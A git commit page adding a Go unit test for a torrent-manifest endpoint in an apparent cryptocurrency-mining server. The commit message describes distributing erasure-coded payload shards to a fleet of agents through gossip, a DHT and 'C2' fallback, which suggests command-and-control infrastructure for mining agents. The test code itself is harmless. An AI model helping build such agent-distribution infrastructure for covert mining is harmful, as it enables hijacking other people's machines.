Add Fleet Torrent erasure extension with shard DHT and gossip.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Content-addressed shard DHT on seeder agents with subnet_primary_seeder election, cross-subnet fleet_torrent_gossip, BGP swarm magnets, C2 torrent manifest, and k-of-n peer fetch with C2 fallback.
This commit is contained in:
40
server/internal/api/fleet_torrent_manifest_test.go
Normal file
40
server/internal/api/fleet_torrent_manifest_test.go
Normal file
@@ -0,0 +1,40 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/erasure"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
)
|
||||
|
||||
func TestErasureTorrentManifestEndpoint(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
store := erasure.NewShardStore()
|
||||
p, _ := erasure.DefaultParams().Normalize()
|
||||
payload := []byte("torrent-manifest-payload-bytes!!")
|
||||
shards, _, err := erasure.Encode(payload, p)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
store.Put("manifest-tok", p, shards)
|
||||
h := NewPublicHandler(database, t.TempDir(), func() PublicBuildsConfig { return PublicBuildsConfig{} })
|
||||
h.BindErasureShardStore(store)
|
||||
|
||||
req := httptest.NewRequest("GET", "/public/erasure-torrent/manifest-tok/manifest", nil)
|
||||
rctx := chi.NewRouteContext()
|
||||
rctx.URLParams.Add("token", "manifest-tok")
|
||||
req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
|
||||
rec := httptest.NewRecorder()
|
||||
h.ErasureTorrentManifest(rec, req)
|
||||
if rec.Code != 200 {
|
||||
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user